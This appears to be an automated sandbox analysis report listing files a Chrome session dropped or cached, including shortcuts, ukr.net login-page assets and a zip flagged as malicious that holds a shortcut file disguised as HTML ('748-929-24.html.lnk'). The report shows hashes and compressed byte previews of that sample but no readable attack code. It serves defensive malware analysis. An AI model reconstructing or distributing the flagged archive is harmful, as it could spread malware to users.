SHA-512:	F7A78EDB02C27CB8ACFB65C2164DAE96E08330592D7E76B9083A44BE698D2FD43488D47A44151D7CD1B9741EAC8DC25F25A44B777A5DC29BB69EDAF72EBBF9D1
Malicious:	false
Preview:	L..................F.@.. ...$+.,......H..'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.^....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............#n......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.010308907600087
Encrypted:	false
SSDEEP:	48:8xCd5ThRsHcVidAKZdA14tseh7sFiZUkmgqeh7sXy+BX:8x4btdnJy
MD5:	CDA5CC73CC45022D93A3C1B7A8862975
SHA1:	32047D611ADDB973A2A4AAF7B75642412085688F
SHA-256:	E7FDB02D42E5316306B78C62E8F0A2A65975A3822DAE8F84D4DB81015097E495
SHA-512:	01CC5D26FE5A62E01FFBF90DC82F0285FF700E983B1B723259FF99F160AEA1489CFD5277C51D8E4F3AA137229A037725F5C91035177B3AF9A674B0737E28DD5D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.^....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............#n......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:48:52 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.998976393720249
Encrypted:	false
SSDEEP:	48:8Pd5ThR5HcVidAKZdA1vehDiZUkwqehhy+R:8LbmuPy
MD5:	0E839B0A3EEEBB66F6481311FF897465
SHA1:	4812E94CE13D8F74B6191B34AB9FC5C6F64F5502
SHA-256:	4AB5815F2289BC7FE81EF5D68F2D4D38BA1B000B18E097925AB96264E813B064
SHA-512:	4B3827D88E42BA85A85A3C2B88F2B3E4FDA9A8E4A07FB1A206ED66538C1C423806B767383DCC3F457D610E19BCA6DA9758F80A5E06A495EDA9B282CFE5D3B180
Malicious:	false
Preview:	L..................F.@.. ...$+.,......A..'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.^....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............#n......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:48:52 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987082012604269
Encrypted:	false
SSDEEP:	48:8Pd5ThR5HcVidAKZdA1hehBiZUk1W1qehzy+C:8Lbme9Ty
MD5:	59586F3E76B3C10EE5D91B3C76CA4974
SHA1:	CCBA187EC9C260D95812E36B773358B987719433
SHA-256:	F183DE0855C86C807A3DEA0407873B34C6B9DFBEDE0685418BF1E0C821E1364B
SHA-512:	8A59BC0D2DE9B84CC38BD20C9527D11BE795CC2DE86C582707BE78A1070683F4470AF3FA326E9517EBB9A09071B18325B47C9CEF4E29F67AD53CFC802D18D9B9
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....6N..'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.^....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............#n......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:48:52 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.996631283650525
Encrypted:	false
SSDEEP:	48:8Q+d5ThR5HcVidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbJy+yT+:8tbmAT/TbxWOvTbJy7T
MD5:	8713295D029FB0A85447FEBC7EF6A87E
SHA1:	F502CF8A85B37436A15920E3409EDB7801F99CDE
SHA-256:	5DC650CD948D5C85BC4DA246B8FE2C99E97387C317127CB84377DE822C1CB1B0
SHA-512:	7997FD4C1CAD870E6F0180474415E030D41C637E2C7CF6F4EFEC58E3CDFCC37B09D5DAAD75D8042EB2094D405732B4EA837B2269DCB7C4ED360002018498978A
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....`7..'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.^....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............#n......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\748-929-24.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	7.755211409338019
Encrypted:	false
SSDEEP:	48:9ALQqTXCIhIi+2mwwqEstCq0KLzm+haMiHxX01s:9qTbIi7m/vst5z89
MD5:	30A4EF746FD4AC62E343B41FD73AD4C8
SHA1:	D93A46D21351A3DE36DA095DE4EACCA5FE8CAC3B
SHA-256:	D054C65F304578AC7E8EF85F05575B473D7D8095BC6720814976D0D848A50E5C
SHA-512:	6B95CA27CA4FF3FFF1487C53281802A1AD2D10EA961D8090802C592B66B0B3A919F30D295E1C205414ACEFC460314B8BEF92F10B499C02D0ADCA3C2E0CD01D66
Malicious:	true
Preview:	PK.........HY.............. .748-929-24.html.lnkUT....f.g.f.g.f.gux..............U?s...&...Wl&.,4.y.,Q..6.qaQ.E..lJ&E.R..LR.A.....+."."M&. . .:U..I.&u.<J.^n.f...x.....g ......_.#..7'._.v............K..z.~...........?E_...?C-.f.....$.n>AC.O....N.bUT.'IGZ....$y..JW.vS\e...dO....1.....k-?.O~..4.(F.a..U....:G.%..VW.....q&(.:...B;.FM$....~..=t..1..}.]..R.b....X................Q.2R^....\8..d.7K..4&.w...Q6!.....x.....i.\|......"J.....G..h......ER...&.....X.....,.).....f..I.+....B..w_..Ys.S.lv.srGi.........l.e.....i...Hd.....}Y[>...(....w{.j..C...8.,...a.[...a..9IF..c.S.p:.,.>n....Z.......C..vX...u....6%...K3.%...}.t6..h.,.....Z...I.....R...x...]...,G.....m.z.".:....s..<H.[WS8.q...s.g.....a.........f.@..O...i.`..W...C?.D.a.$...-... .@>.(.......F\|.V..Y.}h..w@N.C.ri,G...;..............\|.wF...a+..@...>.k.\|^...g..Ww.`.%V......B<.o.n,./.6.6..y..)...;.Rb_S.N(.(.<M).iPzsEr.}.]Nv.Cx..'..z...'"..g....;8........5.Wf.T.+.v..sy..2.Z.1aQ..g.2..:.bw.r.s.."`A4.k.

C:\Users\user\Downloads\748-929-24.zip.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	7.755211409338019
Encrypted:	false
SSDEEP:	48:9ALQqTXCIhIi+2mwwqEstCq0KLzm+haMiHxX01s:9qTbIi7m/vst5z89
MD5:	30A4EF746FD4AC62E343B41FD73AD4C8
SHA1:	D93A46D21351A3DE36DA095DE4EACCA5FE8CAC3B
SHA-256:	D054C65F304578AC7E8EF85F05575B473D7D8095BC6720814976D0D848A50E5C
SHA-512:	6B95CA27CA4FF3FFF1487C53281802A1AD2D10EA961D8090802C592B66B0B3A919F30D295E1C205414ACEFC460314B8BEF92F10B499C02D0ADCA3C2E0CD01D66
Malicious:	false
Preview:	PK.........HY.............. .748-929-24.html.lnkUT....f.g.f.g.f.gux..............U?s...&...Wl&.,4.y.,Q..6.qaQ.E..lJ&E.R..LR.A.....+."."M&. . .:U..I.&u.<J.^n.f...x.....g ......_.#..7'._.v............K..z.~...........?E_...?C-.f.....$.n>AC.O....N.bUT.'IGZ....$y..JW.vS\e...dO....1.....k-?.O~..4.(F.a..U....:G.%..VW.....q&(.:...B;.FM$....~..=t..1..}.]..R.b....X................Q.2R^....\8..d.7K..4&.w...Q6!.....x.....i.\|......"J.....G..h......ER...&.....X.....,.).....f..I.+....B..w_..Ys.S.lv.srGi.........l.e.....i...Hd.....}Y[>...(....w{.j..C...8.,...a.[...a..9IF..c.S.p:.,.>n....Z.......C..vX...u....6%...K3.%...}.t6..h.,.....Z...I.....R...x...]...,G.....m.z.".:....s..<H.[WS8.q...s.g.....a.........f.@..O...i.`..W...C?.D.a.$...-... .@>.(.......F\|.V..Y.}h..w@N.C.ri,G...;..............\|.wF...a+..@...>.k.\|^...g..Ww.`.%V......B<.o.n,./.6.6..y..)...;.Rb_S.N(.(.<M).iPzsEr.}.]Nv.Cx..'..z...'"..g....;8........5.Wf.T.+.v..sy..2.Z.1aQ..g.2..:.bw.r.s.."`A4.k.

C:\Users\user\Downloads\c4304711-3ea8-4580-ab60-ae16aaf251fc.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	7.755211409338019
Encrypted:	false
SSDEEP:	48:9ALQqTXCIhIi+2mwwqEstCq0KLzm+haMiHxX01s:9qTbIi7m/vst5z89
MD5:	30A4EF746FD4AC62E343B41FD73AD4C8
SHA1:	D93A46D21351A3DE36DA095DE4EACCA5FE8CAC3B
SHA-256:	D054C65F304578AC7E8EF85F05575B473D7D8095BC6720814976D0D848A50E5C
SHA-512:	6B95CA27CA4FF3FFF1487C53281802A1AD2D10EA961D8090802C592B66B0B3A919F30D295E1C205414ACEFC460314B8BEF92F10B499C02D0ADCA3C2E0CD01D66
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	PK.........HY.............. .748-929-24.html.lnkUT....f.g.f.g.f.gux..............U?s...&...Wl&.,4.y.,Q..6.qaQ.E..lJ&E.R..LR.A.....+."."M&. . .:U..I.&u.<J.^n.f...x.....g ......_.#..7'._.v............K..z.~...........?E_...?C-.f.....$.n>AC.O....N.bUT.'IGZ....$y..JW.vS\e...dO....1.....k-?.O~..4.(F.a..U....:G.%..VW.....q&(.:...B;.FM$....~..=t..1..}.]..R.b....X................Q.2R^....\8..d.7K..4&.w...Q6!.....x.....i.\|......"J.....G..h......ER...&.....X.....,.).....f..I.+....B..w_..Ys.S.lv.srGi.........l.e.....i...Hd.....}Y[>...(....w{.j..C...8.,...a.[...a..9IF..c.S.p:.,.>n....Z.......C..vX...u....6%...K3.%...}.t6..h.,.....Z...I.....R...x...]...,G.....m.z.".:....s..<H.[WS8.q...s.g.....a.........f.@..O...i.`..W...C?.D.a.$...-... .@>.(.......F\|.V..Y.}h..w@N.C.ri,G...;..............\|.wF...a+..@...>.k.\|^...g..Ww.`.%V......B<.o.n,./.6.6..y..)...;.Rb_S.N(.(.<M).iPzsEr.}.]Nv.Cx..'..z...'"..g....;8........5.Wf.T.+.v..sy..2.Z.1aQ..g.2..:.bw.r.s.."`A4.k.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	9961
Entropy (8bit):	4.337688283559793
Encrypted:	false
SSDEEP:	192:OSSCU6f0/Noy+HdTy+HyX/XpH/QC+ztfDZx7nkb:P/UQvy+pEfpH/a5bbYb
MD5:	70B30506AB3A3624B4896A1B326551E9
SHA1:	40E59D3A796BC8BB00B45575F5BB191B11EF060C
SHA-256:	9814910F389257E4D94ED7F97F4ACDAB28004D9C256A50273F3D8655429FF5C1
SHA-512:	6031D36B1DD510BF4E420A1AC89B364EA2D22CDE51753B6DB08DEDD0308D84DDE4E393A92810DBACC1F7ED08B890001738CEBFD245632DE8D1428259A897FBCE
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M430 455.5h-91zM327 455.5h-26zM190 455.5H17z"/></g><path fill="#dfe1e9" d="M387 182h15v274h-15z"/><path stroke="#9ba1a9" d="M402.5 387v69m-15 0V182m15 18.173V325.5"/><path fill="#94bf46" d="M435 78c23.196 0 42 18.804 42 42v26.734c-20.726 2.004-36.866 16.693-42.152 36.266H313v-63c0-23.196 18.804-42 42-42z"/><path fill="#74a124" d="M345.5 78c17.95 0 32.5 14.55 32.5 32.5V183h-65v-72.5c0-17.95 14.55-32.5 32.5-32.5"/><path fill="#94bf46" d="M248 183h130v3a5 5 0 0 1-5 5H253a5 5 0 0 1-5-5z"/><g transform="translate(415 13.598)"><ellipse cx="9.809" cy="92.533" fill="#d0d3d7" rx="9.809" ry="9.869"/><path fill="#ffb526" d="m54.217 24.102-44 21.643V2.458z"/><rect width="5.722" height="95" x="7.357" fill="#dfe1e9" rx="2.861"/></g><g stroke="#fff"><path d="M354 176v-51a5 5 0 0 1 5-5h13.13M321 176v-44.574c0-2.444 2.239-4.426 5-4.426h6.173M333 168v-43a5 5 0 0 1 5-5"/><path

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65468)
Category:	downloaded
Size (bytes):	490758
Entropy (8bit):	5.508167058372089
Encrypted:	false
SSDEEP:	6144:2TJ8tPgfO+mjvvKhKdlqr9gHDKAHBccOpuDLhn3Xzjx2GMQmnVl8lDgrPTLYTvVf:K8DvKk7koeQ3XzJDgjP6vVCtm689
MD5:	E201AAD8650556A03119F670D0A2B955
SHA1:	E7D16E3D3343D269B1D54E6E5834163968F95FA9
SHA-256:	12B3B86FF2A422FE8AF111E5FB6846052F1BE6882E5ADFF1755A1DB94191CE12
SHA-512:	FF8BFA91F2D8767DF51BB23ECC3C20D36B043E8E63C2F4C349125DF78301BFC1A2B4B7A16E984E9BCE38540CAB6AD66CE1D95E9F4753FD3CE8F09B312EE87DF7
Malicious:	false
URL:	https://accounts.ukr.net/login/js/bundle.js?949e9a20
Preview:	/! For license information please see bundle.js.LICENSE.txt /.(()=>{var e={1633:(e,t)=>{var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var a=typeof n;if("string"===a\|\|"number"===a)e.push(n);else if(Array.isArray(n)){if(n.length){var o=i.apply(null,n);o&&e.push(o)}}else if("object"===a){if(n.toString!==Object.prototype.toString&&!n.toString.toString().includes("[native code]")){e.push(n.toString());continue}for(var s in n)r.call(n,s)&&n[s]&&e.push(s)}}}return e.join(" ")}e.exports?(i.default=i,e.exports=i):void 0===(n=function(){return i}.apply(t,[]))\|\|(e.exports=n)}()},7176:(e,t,n)=>{var r=n.p;e.exports={symbol:r+"assets/file-20d110f0.svg#icon-arrow-005b",view:r+"assets/file-20d110f0.svg#view-icon-arrow-005b",viewBox:"0 0 24 24",title:"",toString:function(){return JSON.stringify(this.view)}}},6435:(e,t,n)=>{var r=n.p;e.exports={symbol:r+"assets/file-20d110f0.svg#icon-support-email-4cea",view:r+"ass

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	15596
Entropy (8bit):	4.879536467323995
Encrypted:	false
SSDEEP:	384:FINRL7LouFdRJd3kI3CszF8C/GOGYdBAum5rfg:F4F7XCszF8C/GOGYdBAumdY
MD5:	1DF9CB852573209838E17DC79ADB4B34
SHA1:	A562AE72AE51A1756DCA3D84F37A1BC90229E5C5
SHA-256:	E4197D738E05E38566BA930106F014DFCB51284D3AACBBECE6EDC8290631782E
SHA-512:	BE924178431223F91814A478A193B21E4BFA2F1EA292A3CC6A5CC9FCE047AFD5438B44FD1A5DD7AFF178568DBEDC418E79855B0B73DBD5C0887269EBA921C4A6
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/file-20d110f0.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><path id="icon-mask-efcca" d="M16.5 0a.75.75 0 01-.078.333l-.104.198-.144.255-.185.307-.108.17a14 14 0 01-1.542 1.998C12.612 5.118 10.578 6.25 8.25 6.25S3.888 5.118 2.161 3.26a14 14 0 01-1.65-2.167L.326.786.182.531.078.333A.75.75 0 010 0h1.604l.098.166.18.289c.39.609.851 1.218 1.378 1.784C4.728 3.82 6.402 4.75 8.25 4.75s3.522-.93 4.99-2.51A12.7 12.7 0 0014.618.455l.18-.289.097-.166z"/><style>@keyframes slide{0%{transform:translateY(-30px)}12%{transform:translateY(5px)}15%,65%{transform:translateY(0)}80%{transform:translateY(30px)}}@keyframes fade{0%,80%{opacity:.2}10%,70%{opacity:1}}</style><symbol id="icon-arrow-005b" viewBox="0 0 24 24"><path d="M7.47 9.47a.75.75 0 01.976-.073l.084.073L12 12.939l3.47-3.47a.75.75 0 01.976-.072l.084.073a.75.75 0 01.073.976l-.073.084-4 4a.75.75 0 01-.976.073l-.084-.073-4-4a.75.75 0 010-1.06"/></symbol><symbol id="icon-support-email-4cea" viewBox="0 0 24 24"><path d=

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	10806
Entropy (8bit):	4.350008077565101
Encrypted:	false
SSDEEP:	192:OIVT5pn3kHh9uiEcC3vbM71l3jX5TcloFglNBO6XsumcF2hFc2j:7VTHng703Y73L5TclWWNB4s2hFcq
MD5:	17490E2F7883C6DF951999F2ECB99561
SHA1:	77805424745CBC7A38E3BE4D7AC51D38BEF2FE8B
SHA-256:	0182152F95745FA63B957335CCB19961DFC36C14655823A6890A8ADDAF0FC2C0
SHA-512:	9583584BBCF5731FF430A9822B7E8418427E2F0DCD1818E946FEC963DB2861380BFD5BE18AB829FEDBA7CA7CF7489513637CF81D22DF6B0F85464755565F6C10
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-markers-828d12d7.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="m169.772 258.986-60.105 16.965c-5.56 1.595-11.359-1.62-12.953-7.18l-13.033-45.45c-1.594-5.56 1.62-11.359 7.18-12.953l71.117-20.468"/><path d="m161.948 228.966-6.583 8.667a14.4 14.4 0 0 1-16.574 4.752l-47.728-18.108a14.33 14.33 0 0 1-6.723-5.253"/></g><g stroke="#9ba1a9"><path d="m97.923 281.82-22.612 8.553c-5.469 1.883-11.428-1.023-13.311-6.492L49.472 247.5c-1.883-5.469 1.024-11.428 6.493-13.311l20.731-7.139"/><path d="m81.73 255.792-25.726-8.248a14.33 14.33 0 0 1-7.19-5.161"/></g><g stroke="#9ba1a9"><path d="m219.4 253.244-37.84 2.646c-5.769.403-10.773-3.947-11.176-9.716l-4.22-60.339c-.403-5.77 3.947-10.773 9.717-11.177l41.649-2.912"/><path d="m213.609 218.397-43.002-29.365a14.34 14.34 0 0 1-4.549-4.688"/></g><g transform="rotate(1 -8803.76 13093.108)"><path stroke="#9ba1a9" d="M32.912 95.721H11.47C5.371 95.721.427 90.763.427 84.646L.336 11.24C.336 5.124 5.2

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 24228, version 3.1245
Category:	downloaded
Size (bytes):	24228
Entropy (8bit):	7.9922949637075815
Encrypted:	true
SSDEEP:	384:fqbbGOChLq/zvN7dLUAfuFFBZdc9dB6TZX5VUZx75rIj1he:UYh8vnL7fuF04TZT65rW1he
MD5:	FD3C2AE8CBB15C704E5889D66DD20922
SHA1:	617145ED05F21914F31848FB38F72DCC736EA283
SHA-256:	A0E86D07E4CBFA50951DD7F9F37E3772E7826455F01AA454E937B6E3D3B4C620
SHA-512:	D971C82F0229B749AD99B3EFEE3487C99C97F510710FC5451517C11BF4BDE1DDD94E2ED5389F5CCB0FD5D1A1B33FD2567AC097B278F22C68DDD258A7CF06207E
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/inter-medium-latin-beJWZ28Q.woff2
Preview:	wOF2......^........P..^K.........................\|......P.`..P........6.$..L..(.. ..X. ...'ps........5s.a.........Z.H)..... e.K...)l._DdZa.z....F.F.P....~.=.6t5..RY..B.a..6.].2..W6..2-..h..),.J.Qke.V......>."D.Z...a...........t.%..Z.........u.6.u.S....:.......w.~..y.a..S...'.[..m{.....;..Y..e.;_s...Xsy....?U.3.......P...;.G.[.{........Z(-@@.Hi"."D....E@@DJ..W..x...Jy.4D,......+.....?\|=.....-.J..H..(M...,..._..s.....HI.....[.9.'.D..yJN..T..".."a.......:....Q.L.p3..`....#P......_.....%.P...6.8!B......D.P8kR......<....4u......N......a...}.C.....p8.o..K.Q.@....B..~^.l.c;h......\R.M....G....H..7..ZtUI.9.@K'..S..4...P.^..@go...<.Y....Y.]..&M....c...Z.lw......P.T\..mM.+?.l..Z.....98..6s#$.b.7...ig...\.3..JEW...%.M...j4/....!.$3[o){.*.....l.u..V.w.6.l{..l....2..T5.z.,]..+.V3.~...P..(U....:..m.Pk..M...y...y.X.G./.O.Zi....p]..> .a...\........s..}Q.:B...##\|...T..R.V..n......K..X.C....25....X..@.5mj...n.MU..y........`:.f..u........w..'.#.;

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	84
Entropy (8bit):	5.038167351804303
Encrypted:	false
SSDEEP:	3:fuizmastrzJpTWEmqHnTIoURR:fuiiastHTDmqHTE
MD5:	1C0AB5B649BDEF4B420588664C29BA02
SHA1:	32B1AA50181DAB9EE5E558AE30429629786C8B14
SHA-256:	AD0A7AA37C924ABCA81F9121488CE2F741CD3DF5E66AF8875850AD3DBA659F69
SHA-512:	9A80685A4F9AC57902D258A1050CAFD50CE07340A3EC0976A3ACDB810F7382DBBE60EBE107B629EA260D01B2C98D0660B478D9CC4CC1B85E868B351625F4CD61
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkDtovQMBqyIhIFDShLLYkSBQ3OQUx6?alt=proto
Preview:	CjwKDQ0oSy2JGgQIVhgCIAEKKw3OQUx6GgQISxgCKh4IClIaChBfQCEtLiokIyssLykmWyU7EAEY/////w8=

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	78007
Entropy (8bit):	5.4683922082182645
Encrypted:	false
SSDEEP:	1536:X9dbbjU78q6cVr36nX5YDfGNh9D2MRR5J4b1twkpKsCSZK/WixkmOR:X9dbbjU78qS27
MD5:	F365D6F9C033ACF95554FE6DA969EC0D
SHA1:	3989AEF7E5647E3E6554BB670055F48DBA004FDD
SHA-256:	EB93BE444A0C7EB0CA5D8A4F05DC4D3036A3BF333A806A19C20875C2BE42784E
SHA-512:	B5C40374A48F3A1414D2F3EE88A36CABFFF0BC0FD22FB22F10EECD9BE2877ABEB4C8FFA6DF62CDEDC5152D914F428288BF86BC2FA63263B8B988FC6AD605E108
Malicious:	false
URL:	https://accounts.ukr.net/login/css/bundle.css?3eae8d99
